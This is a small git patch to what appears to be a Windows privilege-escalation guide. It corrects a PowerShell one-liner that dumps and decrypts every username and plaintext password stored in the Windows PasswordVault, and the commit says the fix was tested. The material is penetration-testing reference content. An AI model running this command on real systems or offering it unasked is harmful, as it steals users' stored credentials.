From 72627fab87cef6bcc8d104872d07bb15a3c7091b Mon Sep 17 00:00:00 2001
From: NoPurposeInLife <30126475+NoPurposeInLife@users.noreply.github.com>
Date: Sun, 26 Jul 2026 06:58:29 +0800
Subject: [PATCH] Fixed UWP Powershell Command

Corrected PowerShell command syntax for retrieving passwords from PasswordVault. Tested, this is working.
---
 .../windows-local-privilege-escalation/README.md                | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index cf5414d54dd..23bd7dbb7a5 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -1144,7 +1144,7 @@ Modern Windows UWP applications, Microsoft Edge, and modern system services stor
 Execute this PowerShell command inside the user's active session to instantly dump and decrypt all stored usernames and plaintext passwords:
 
 ```ps1
-[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; v = New-Object Windows.Security.Credentials.PasswordVault; v.RetrieveAll() | ForEach-Object { try { \(_.RetrievePassword();\)_ } catch{} } | Select-Object Resource, UserName, Password | Format-List
+[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-List
 ```
 
 ### DPAPI